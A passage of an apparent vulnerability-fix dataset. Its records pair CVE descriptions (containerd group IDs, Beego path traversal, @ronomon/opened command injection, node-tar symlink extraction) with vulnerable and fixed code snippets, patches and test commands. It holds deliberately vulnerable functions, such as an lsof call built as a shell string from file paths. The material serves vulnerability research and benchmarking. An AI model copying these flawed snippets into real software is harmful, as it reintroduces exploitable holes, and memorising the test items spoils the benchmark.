func(g user.Group) bool {\n\t\t\t\t// we only want supplemental groups\n\t\t\t\tif g.Name == username {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tfor _, entry := range g.List {\n\t\t\t\t\tif entry == username {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.AdditionalGids = gids\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setAdditionalGids(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n\t}\n}"}, {"id": "fix_go_52_7", "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a", "file_path": "oci/spec_opts.go", "start_line": 812, "end_line": 870, "snippet": "func WithAppendAdditionalGroups(groups ...string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\t// For LCOW or on Darwin additional GID's are not supported\n\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n\t\t\treturn nil\n\t\t}\n\t\tsetProcess(s)\n\t\tsetAdditionalGids := func(root string) error {\n\t\t\tdefer ensureAdditionalGids(s)\n\t\t\tgpath, err := fs.RootPath(root, \"/etc/group\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tugroups, err := user.ParseGroupFile(gpath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgroupMap := make(map[string]user.Group)\n\t\t\tfor _, group := range ugroups {\n\t\t\t\tgroupMap[group.Name] = group\n\t\t\t}\n\t\t\tvar gids []uint32\n\t\t\tfor _, group := range groups {\n\t\t\t\tgid, err := strconv.ParseUint(group, 10, 32)\n\t\t\t\tif err == nil {\n\t\t\t\t\tgids = append(gids, uint32(gid))\n\t\t\t\t} else {\n\t\t\t\t\tg, ok := groupMap[group]\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\treturn fmt.Errorf(\"unable to find group %s\", group)\n\t\t\t\t\t}\n\t\t\t\t\tgids = append(gids, uint32(g.Gid))\n\t\t\t\t}\n\t\t\t}\n\t\t\ts.Process.User.AdditionalGids = append(s.Process.User.AdditionalGids, gids...)\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !filepath.IsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setAdditionalGids(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n\t}\n}"}], "vul_patch": "--- a/oci/spec_opts.go\n+++ b/oci/spec_opts.go\n@@ -1,6 +1,8 @@\n func WithUser(userstr string) SpecOpts {\n \treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) error {\n+\t\tdefer ensureAdditionalGids(s)\n \t\tsetProcess(s)\n+\t\ts.Process.User.AdditionalGids = nil\n \n \t\t// For LCOW it's a bit harder to confirm that the user actually exists on the host as a rootfs isn't\n \t\t// mounted on the host and shared into the guest, but rather the rootfs is constructed entirely in the\n\n--- a/oci/spec_opts.go\n+++ b/oci/spec_opts.go\n@@ -1,6 +1,8 @@\n func WithUIDGID(uid, gid uint32) SpecOpts {\n \treturn func(_ context.Context, _ Client, _ *containers.Container, s *Spec) error {\n+\t\tdefer ensureAdditionalGids(s)\n \t\tsetProcess(s)\n+\t\ts.Process.User.AdditionalGids = nil\n \t\ts.Process.User.UID = uid\n \t\ts.Process.User.GID = gid\n \t\treturn nil\n\n--- a/oci/spec_opts.go\n+++ b/oci/spec_opts.go\n@@ -1,11 +1,10 @@\n func WithUserID(uid uint32) SpecOpts {\n \treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n+\t\tdefer ensureAdditionalGids(s)\n \t\tsetProcess(s)\n-\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n-\t\t\tif !isRootfsAbs(s.Root.Path) {\n-\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n-\t\t\t}\n-\t\t\tuser, err := UserFromPath(s.Root.Path, func(u user.User) bool {\n+\t\ts.Process.User.AdditionalGids = nil\n+\t\tsetUser := func(root string) error {\n+\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n \t\t\t\treturn u.Uid == int(uid)\n \t\t\t})\n \t\t\tif err != nil {\n@@ -17,7 +16,12 @@\n \t\t\t}\n \t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n \t\t\treturn nil\n-\n+\t\t}\n+\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n+\t\t\tif !isRootfsAbs(s.Root.Path) {\n+\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n+\t\t\t}\n+\t\t\treturn setUser(s.Root.Path)\n \t\t}\n \t\tif c.Snapshotter == \"\" {\n \t\t\treturn errors.New(\"no snapshotter set for container\")\n@@ -32,19 +36,6 @@\n \t\t}\n \n \t\tmounts = tryReadonlyMounts(mounts)\n-\t\treturn mount.WithTempMount(ctx, mounts, func(root string) error {\n-\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n-\t\t\t\treturn u.Uid == int(uid)\n-\t\t\t})\n-\t\t\tif err != nil {\n-\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n-\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n-\t\t\t\t\treturn nil\n-\t\t\t\t}\n-\t\t\t\treturn err\n-\t\t\t}\n-\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n-\t\t\treturn nil\n-\t\t})\n+\t\treturn mount.WithTempMount(ctx, mounts, setUser)\n \t}\n }\n\n--- a/oci/spec_opts.go\n+++ b/oci/spec_opts.go\n@@ -1,12 +1,11 @@\n func WithUsername(username string) SpecOpts {\n \treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n+\t\tdefer ensureAdditionalGids(s)\n \t\tsetProcess(s)\n+\t\ts.Process.User.AdditionalGids = nil\n \t\tif s.Linux != nil {\n-\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n-\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n-\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n-\t\t\t\t}\n-\t\t\t\tuser, err := UserFromPath(s.Root.Path, func(u user.User) bool {\n+\t\t\tsetUser := func(root string) error {\n+\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n \t\t\t\t\treturn u.Name == username\n \t\t\t\t})\n \t\t\t\tif err != nil {\n@@ -14,6 +13,12 @@\n \t\t\t\t}\n \t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n \t\t\t\treturn nil\n+\t\t\t}\n+\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n+\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n+\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n+\t\t\t\t}\n+\t\t\t\treturn setUser(s.Root.Path)\n \t\t\t}\n \t\t\tif c.Snapshotter == \"\" {\n \t\t\t\treturn errors.New(\"no snapshotter set for container\")\n@@ -28,16 +33,7 @@\n \t\t\t}\n \n \t\t\tmounts = tryReadonlyMounts(mounts)\n-\t\t\treturn mount.WithTempMount(ctx, mounts, func(root string) error {\n-\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n-\t\t\t\t\treturn u.Name == username\n-\t\t\t\t})\n-\t\t\t\tif err != nil {\n-\t\t\t\t\treturn err\n-\t\t\t\t}\n-\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n-\t\t\t\treturn nil\n-\t\t\t})\n+\t\t\treturn mount.WithTempMount(ctx, mounts, setUser)\n \t\t} else if s.Windows != nil {\n \t\t\ts.Process.User.Username = username\n \t\t} else {\n\n--- a/oci/spec_opts.go\n+++ b/oci/spec_opts.go\n@@ -5,7 +5,9 @@\n \t\t\treturn nil\n \t\t}\n \t\tsetProcess(s)\n+\t\ts.Process.User.AdditionalGids = nil\n \t\tsetAdditionalGids := func(root string) error {\n+\t\t\tdefer ensureAdditionalGids(s)\n \t\t\tvar username string\n \t\t\tuid, err := strconv.Atoi(userstr)\n \t\t\tif err == nil {\n\n--- /dev/null\n+++ b/oci/spec_opts.go\n@@ -0,0 +1,10 @@\n+// ensureAdditionalGids ensures that the primary GID is also included in the additional GID list.\n+func ensureAdditionalGids(s *Spec) {\n+\tsetProcess(s)\n+\tfor _, f := range s.Process.User.AdditionalGids {\n+\t\tif f == s.Process.User.GID {\n+\t\t\treturn\n+\t\t}\n+\t}\n+\ts.Process.User.AdditionalGids = append([]uint32{s.Process.User.GID}, s.Process.User.AdditionalGids...)\n+}\n\n--- /dev/null\n+++ b/oci/spec_opts.go\n@@ -0,0 +1,59 @@\n+func WithAppendAdditionalGroups(groups ...string) SpecOpts {\n+\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n+\t\t// For LCOW or on Darwin additional GID's are not supported\n+\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n+\t\t\treturn nil\n+\t\t}\n+\t\tsetProcess(s)\n+\t\tsetAdditionalGids := func(root string) error {\n+\t\t\tdefer ensureAdditionalGids(s)\n+\t\t\tgpath, err := fs.RootPath(root, \"/etc/group\")\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tugroups, err := user.ParseGroupFile(gpath)\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tgroupMap := make(map[string]user.Group)\n+\t\t\tfor _, group := range ugroups {\n+\t\t\t\tgroupMap[group.Name] = group\n+\t\t\t}\n+\t\t\tvar gids []uint32\n+\t\t\tfor _, group := range groups {\n+\t\t\t\tgid, err := strconv.ParseUint(group, 10, 32)\n+\t\t\t\tif err == nil {\n+\t\t\t\t\tgids = append(gids, uint32(gid))\n+\t\t\t\t} else {\n+\t\t\t\t\tg, ok := groupMap[group]\n+\t\t\t\t\tif !ok {\n+\t\t\t\t\t\treturn fmt.Errorf(\"unable to find group %s\", group)\n+\t\t\t\t\t}\n+\t\t\t\t\tgids = append(gids, uint32(g.Gid))\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\ts.Process.User.AdditionalGids = append(s.Process.User.AdditionalGids, gids...)\n+\t\t\treturn nil\n+\t\t}\n+\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n+\t\t\tif !filepath.IsAbs(s.Root.Path) {\n+\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n+\t\t\t}\n+\t\t\treturn setAdditionalGids(s.Root.Path)\n+\t\t}\n+\t\tif c.Snapshotter == \"\" {\n+\t\t\treturn errors.New(\"no snapshotter set for container\")\n+\t\t}\n+\t\tif c.SnapshotKey == \"\" {\n+\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n+\t\t}\n+\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n+\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n+\t\tif err != nil {\n+\t\t\treturn err\n+\t\t}\n+\n+\t\tmounts = tryReadonlyMounts(mounts)\n+\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n+\t}\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-25173:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/containerd\nrm -rf ./oci/spec_opts_linux_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestWithAdditionalGIDs$ github.com/containerd/containerd/oci\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-25173:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/containerd\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd oci && go test  -timeout 30s  github.com/containerd/containerd/oci\n"}
{"cve_id": "CVE-2022-31836", "cve_description": "The leafInfo.match() function in Beego v2.0.3 and below uses path.join() to deal with wildcardvalues which can lead to cross directory risk.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/beego/beego", "patch_url": ["https://github.com/beego/beego/commit/809c0b46acd013159afd19961a8e02c93df6e9e2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_154_1", "commit": "c143120", "file_path": "server/web/tree.go", "start_line": 284, "end_line": 290, "snippet": "func (t *Tree) Match(pattern string, ctx *context.Context) (runObject interface{}) {\n\tif pattern == \"\" || pattern[0] != '/' {\n\t\treturn nil\n\t}\n\tw := make([]string, 0, 20)\n\treturn t.match(pattern[1:], pattern, w, ctx)\n}"}], "fix_func": [{"id": "fix_go_154_1", "commit": "809c0b4", "file_path": "server/web/tree.go", "start_line": 284, "end_line": 292, "snippet": "func (t *Tree) Match(pattern string, ctx *context.Context) (runObject interface{}) {\n\t// fix issue 4961, deal with \"./ ../ //\"\n\tpattern = path.Clean(pattern)\n\tif pattern == \"\" || pattern[0] != '/' {\n\t\treturn nil\n\t}\n\tw := make([]string, 0, 20)\n\treturn t.match(pattern[1:], pattern, w, ctx)\n}"}], "vul_patch": "--- a/server/web/tree.go\n+++ b/server/web/tree.go\n@@ -1,4 +1,6 @@\n func (t *Tree) Match(pattern string, ctx *context.Context) (runObject interface{}) {\n+\t// fix issue 4961, deal with \"./ ../ //\"\n+\tpattern = path.Clean(pattern)\n \tif pattern == \"\" || pattern[0] != '/' {\n \t\treturn nil\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-29300", "cve_description": "The @ronomon/opened library before 1.5.2 is vulnerable to a command injection vulnerability which would allow a remote attacker to execute commands on the system if the library was used with untrusted input.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ronomon/opened", "patch_url": ["https://github.com/ronomon/opened/commit/7effe011d4fea8fac7f78c00615e0a6e69af68ec"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_191_1", "commit": "33c2dfb", "file_path": "index.js", "start_line": 75, "end_line": 112, "snippet": "Unix.files = function(paths, end) {\n  var self = this;\n  assertPaths('paths', paths);\n  assertFunction('end', end);\n  var files = {};\n  var queue = new Queue(1); // Concurrency yields no improvement with lsof.\n  queue.onData = function(paths, end) {\n    var escapedPaths = paths.map(\n      function(path) {\n        return '\"' + path.replace(/\"/g, '\\\\\"') + '\"';\n      }\n    );\n    var command = 'lsof -F n -- ' + escapedPaths.join(' ');\n    var options = {\n      encoding: 'utf-8',\n      maxBuffer: 2 * 1024 * 1024\n    };\n    Node.child.exec(command, options,\n      function(error, stdout, stderr) {\n        // lsof returns an error and a status code of 1 if a file is not open:\n        if (error && error.code === 1 && stderr.length === 0) error = undefined;\n        if (error) {\n          if (/No such file or directory/i.test(stderr)) {\n            error.code = 'ENOENT';\n          }\n          return end(error);\n        }\n        var lines = stdout.split('\\n');\n        for (var index = 0, length = lines.length; index < length; index++) {\n          var line = lines[index];\n          if (line[0] != 'n') continue;\n          var candidate = self.unescape(line.slice(1));\n          if (files.hasOwnProperty(candidate)) files[candidate] = true;\n        }\n        end();\n      }\n    );\n  };"}], "fix_func": [{"id": "fix_js_191_1", "commit": "7effe01", "file_path": "index.js", "start_line": 75, "end_line": 108, "snippet": "Unix.files = function(paths, end) {\n  var self = this;\n  assertPaths('paths', paths);\n  assertFunction('end', end);\n  var files = {};\n  var queue = new Queue(1); // Concurrency yields no improvement with lsof.\n  queue.onData = function(paths, end) {\n    var command = 'lsof';\n    var args = ['-F', 'n', '--'].concat(paths);\n    var options = {\n      encoding: 'utf-8',\n      maxBuffer: 2 * 1024 * 1024\n    };\n    Node.child.execFile(command, args, options,\n      function(error, stdout, stderr) {\n        // lsof returns an error and a status code of 1 if a file is not open:\n        if (error && error.code === 1 && stderr.length === 0) error = undefined;\n        if (error) {\n          if (/No such file or directory/i.test(stderr)) {\n            error.code = 'ENOENT';\n          }\n          return end(error);\n        }\n        var lines = stdout.split('\\n');\n        for (var index = 0, length = lines.length; index < length; index++) {\n          var line = lines[index];\n          if (line[0] != 'n') continue;\n          var candidate = self.unescape(line.slice(1));\n          if (files.hasOwnProperty(candidate)) files[candidate] = true;\n        }\n        end();\n      }\n    );\n  };"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -5,17 +5,13 @@\n   var files = {};\n   var queue = new Queue(1); // Concurrency yields no improvement with lsof.\n   queue.onData = function(paths, end) {\n-    var escapedPaths = paths.map(\n-      function(path) {\n-        return '\"' + path.replace(/\"/g, '\\\\\"') + '\"';\n-      }\n-    );\n-    var command = 'lsof -F n -- ' + escapedPaths.join(' ');\n+    var command = 'lsof';\n+    var args = ['-F', 'n', '--'].concat(paths);\n     var options = {\n       encoding: 'utf-8',\n       maxBuffer: 2 * 1024 * 1024\n     };\n-    Node.child.exec(command, options,\n+    Node.child.execFile(command, args, options,\n       function(error, stdout, stderr) {\n         // lsof returns an error and a status code of 1 if a file is not open:\n         if (error && error.code === 1 && stderr.length === 0) error = undefined;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-37712", "cve_description": "The npm package \"tar\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \"short path\" counterparts. A specially crafted tar archive could thus include a directory with one form of the path, followed by a symbolic link with a different string that resolves to the same file system entity, followed by a file using the first form. By first creating a directory, and then replacing that directory with a symlink that had a different apparent name that resolved to the same entry in the filesystem, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of node-tar. If this is not possible, a workaround is available in the referenced GHSA-qq89-hq3f-393p.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/isaacs/node-tar", "patch_url": ["https://github.com/isaacs/node-tar/commit/1739408d3122af897caefd09662bce2ea477533b", "https://github.com/isaacs/node-tar/commit/2f1bca027286c23e110b8dfc7efc10756fa3db5a", "https://github.com/isaacs/node-tar/commit/b6162c7fafe797f856564ef37f4b82747f051455", "https://github.com/isaacs/node-tar/commit/bb93ba243746f705092905da1955ac3b0509ba1e", "https://github.com/isaacs/node-tar/commit/3aaf19b2501bbddb145d92b3322c80dcaed3c35f", "https://github.com/isaacs/node-tar/commit/d56f790bda9fea807dd80c5083f24771dbdd6eb1"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_56_1", "commit": "d56f790bda9fea807dd80c5083f24771dbdd6eb1", "file_path": "lib/path-reservations.js", "start_line": 13, "end_line": 128, "snippet": "module.exports = () => {\n  // path => [function or Set]\n  // A Set object means a directory reservation\n  // A fn is a direct reservation on that path\n  const queues = new Map()\n\n  // fn => {paths:[path,...], dirs:[path, ...]}\n  const reservations = new Map()\n\n  // return a set of parent dirs for a given path\n  const getDirs = path =>\n    path.split('/').slice(0, -1).reduce((set, path) =>\n      set.length ? set.concat(normPath(join(set[set.length - 1], path)))\n      : [path], [])\n\n  // functions currently running\n  const running = new Set()\n\n  // return the queues for each path the function cares about\n  // fn => {paths, dirs}\n  const getQueues = fn => {\n    const res = reservations.get(fn)\n    /* istanbul ignore if - unpossible */\n    if (!res)\n      throw new Error('function does not have any path reservations')\n    return {\n      paths: res.paths.map(path => queues.get(path)),\n      dirs: [...res.dirs].map(path => queues.get(path)),\n    }\n  }\n\n  // check if fn is first in line for all its paths, and is\n  // included in the first set for all its dir queues\n  const check = fn => {\n    const {paths, dirs} = getQueues(fn)\n    return paths.every(q => q[0] === fn) &&\n      dirs.every(q => q[0] instanceof Set && q[0].has(fn))\n  }\n\n  // run the function if it's first in line and not already running\n  const run = fn => {\n    if (running.has(fn) || !check(fn))\n      return false\n    running.add(fn)\n    fn(() => clear(fn))\n    return true\n  }\n\n  const clear = fn => {\n    if (!running.has(fn))\n      return false\n\n    const { paths, dirs } = reservations.get(fn)\n    const next = new Set()\n\n    paths.forEach(path => {\n      const q = queues.get(path)\n      assert.equal(q[0], fn)\n      if (q.length === 1)\n        queues.delete(path)\n      else {\n        q.shift()\n        if (typeof q[0] === 'function')\n          next.add(q[0])\n        else\n          q[0].forEach(fn => next.add(fn))\n      }\n    })\n\n    dirs.forEach(dir => {\n      const q = queues.get(dir)\n      assert(q[0] instanceof Set)\n      if (q[0].size === 1 && q.length === 1) {\n        queues.delete(dir)\n      } else if (q[0].size === 1) {\n        q.shift()\n\n        // must be a function or else the Set would've been reused\n        next.add(q[0])\n      } else\n        q[0].delete(fn)\n    })\n    running.delete(fn)\n\n    next.forEach(fn => run(fn))\n    return true\n  }\n\n  const reserve = (paths, fn) => {\n    paths = paths.map(p => normPath(join(p)).toLowerCase())\n    const dirs = new Set(\n      paths.map(path => getDirs(path)).reduce((a, b) => a.concat(b))\n    )\n    reservations.set(fn, {dirs, paths})\n    paths.forEach(path => {\n      const q = queues.get(path)\n      if (!q)\n        queues.set(path, [fn])\n      else\n        q.push(fn)\n    })\n    dirs.forEach(dir => {\n      const q = queues.get(dir)\n      if (!q)\n        queues.set(dir, [new Set([fn])])\n      else if (q[q.length-1] instanceof Set)\n        q[q.length-1].add(fn)\n      else\n        q.push(new Set([fn]))\n    })\n\n    return run(fn)\n  }\n\n  return { check, reserve }\n}"}], "fix_func": [{"id": "fix_js_56_1", "commit": "1739408d3122af897caefd09662bce2ea477533b", "file_path": "lib/path-reservations.js", "start_line": 17, "end_line": 149, "snippet": "module.exports = () => {\n  // path => [function or Set]\n  // A Set object means a directory reservation\n  // A fn is a direct reservation on that path\n  const queues = new Map()\n\n  // fn => {paths:[path,...], dirs:[path, ...]}\n  const reservations = new Map()\n\n  // return a set of parent dirs for a given path\n  // '/a/b/c/d' -> ['/', '/a', '/a/b', '/a/b/c', '/a/b/c/d']\n  const getDirs = path => {\n    const dirs = path.split('/').slice(0, -1).reduce((set, path) => {\n      if (set.length)\n        path = normPath(join(set[set.length - 1], path))\n      set.push(path || '/')\n      return set\n    }, [])\n    return dirs\n  }\n\n  // functions currently running\n  const running = new Set()\n\n  // return the queues for each path the function cares about\n  // fn => {paths, dirs}\n  const getQueues = fn => {\n    const res = reservations.get(fn)\n    /* istanbul ignore if - unpossible */\n    if (!res)\n      throw new Error('function does not have any path reservations')\n    return {\n      paths: res.paths.map(path => queues.get(path)),\n      dirs: [...res.dirs].map(path => queues.get(path)),\n    }\n  }\n\n  // check if fn is first in line for all its paths, and is\n  // included in the first set for all its dir queues\n  const check = fn => {\n    const {paths, dirs} = getQueues(fn)\n    return paths.every(q => q[0] === fn) &&\n      dirs.every(q => q[0] instanceof Set && q[0].has(fn))\n  }\n\n  // run the function if it's first in line and not already running\n  const run = fn => {\n    if (running.has(fn) || !check(fn))\n      return false\n    running.add(fn)\n    fn(() => clear(fn))\n    return true\n  }\n\n  const clear = fn => {\n    if (!running.has(fn))\n      return false\n\n    const { paths, dirs } = reservations.get(fn)\n    const next = new Set()\n\n    paths.forEach(path => {\n      const q = queues.get(path)\n      assert.equal(q[0], fn)\n      if (q.length === 1)\n        queues.delete(path)\n      else {\n        q.shift()\n        if (typeof q[0] === 'function')\n          next.add(q[0])\n        else\n          q[0].forEach(fn => next.add(fn))\n      }\n    })\n\n    dirs.forEach(dir => {\n      const q = queues.get(dir)\n      assert(q[0] instanceof Set)\n      if (q[0].size === 1 && q.length === 1) {\n        queues.delete(dir)\n      } else if (q[0].size === 1) {\n        q.shift()\n\n        // must be a function or else the Set would've been reused\n        next.add(q[0])\n      } else\n        q[0].delete(fn)\n    })\n    running.delete(fn)\n\n    next.forEach(fn => run(fn))\n    return true\n  }\n\n  const reserve = (paths, fn) => {\n    // collide on matches across case and unicode normalization\n    // On windows, thanks to the magic of 8.3 shortnames, it is fundamentally\n    // impossible to determine whether two paths refer to the same thing on\n    // disk, without asking the kernel for a shortname.\n    // So, we just pretend that every path matches every other path here,\n    // effectively removing all parallelization on windows.\n    paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => {\n      return stripSlashes(normPath(join(p)))\n        .normalize('NFKD')\n        .toLowerCase()\n    })\n\n    const dirs = new Set(\n      paths.map(path => getDirs(path)).reduce((a, b) => a.concat(b))\n    )\n    reservations.set(fn, {dirs, paths})\n    paths.forEach(path => {\n      const q = queues.get(path)\n      if (!q)\n        queues.set(path, [fn])\n      else\n        q.push(fn)\n    })\n    dirs.forEach(dir => {\n      const q = queues.get(dir)\n      if (!q)\n        queues.set(dir, [new Set([fn])])\n      else if (q[q.length-1] instanceof Set)\n        q[q.length-1].add(fn)\n      else\n        q.push(new Set([fn]))\n    })\n\n    return run(fn)\n  }\n\n  return { check, reserve }\n}"}, {"id": "fix_js_56_2", "commit": "1739408d3122af897caefd09662bce2ea477533b", "file_path": "lib/path-reservations.js", "start_line": 14, "end_line": 15, "snippet": "const platform = process.env.TESTING_TAR_FAKE_PLATFORM || process.platform\nconst isWindows = platform === 'win32'"}], "vul_patch": "--- a/lib/path-reservations.js\n+++ b/lib/path-reservations.js\n@@ -8,10 +8,16 @@\n   const reservations = new Map()\n \n   // return a set of parent dirs for a given path\n-  const getDirs = path =>\n-    path.split('/').slice(0, -1).reduce((set, path) =>\n-      set.length ? set.concat(normPath(join(set[set.length - 1], path)))\n-      : [path], [])\n+  // '/a/b/c/d' -> ['/', '/a', '/a/b', '/a/b/c', '/a/b/c/d']\n+  const getDirs = path => {\n+    const dirs = path.split('/').slice(0, -1).reduce((set, path) => {\n+      if (set.length)\n+        path = normPath(join(set[set.length - 1], path))\n+      set.push(path || '/')\n+      return set\n+    }, [])\n+    return dirs\n+  }\n \n   // functions currently running\n   const running = new Set()\n@@ -87,7 +93,18 @@\n   }\n \n   const reserve = (paths, fn) => {\n-    paths = paths.map(p => normPath(join(p)).toLowerCase())\n+    // collide on matches across case and unicode normalization\n+    // On windows, thanks to the magic of 8.3 shortnames, it is fundamentally\n+    // impossible to determine whether two paths refer to the same thing on\n+    // disk, without asking the kernel for a shortname.\n+    // So, we just pretend that every path matches every other path here,\n+    // effectively removing all parallelization on windows.\n+    paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => {\n+      return stripSlashes(normPath(join(p)))\n+        .normalize('NFKD')\n+        .toLowerCase()\n+    })\n+\n     const dirs = new Set(\n       paths.map(path => getDirs(path)).reduce((a, b) => a.concat(b))\n     )\n\n--- /dev/null\n+++ b/lib/path-reservations.js\n@@ -0,0 +1,2 @@\n+const platform = process.env.TESTING_TAR_FAKE_PLATFORM || process.platform\n+const 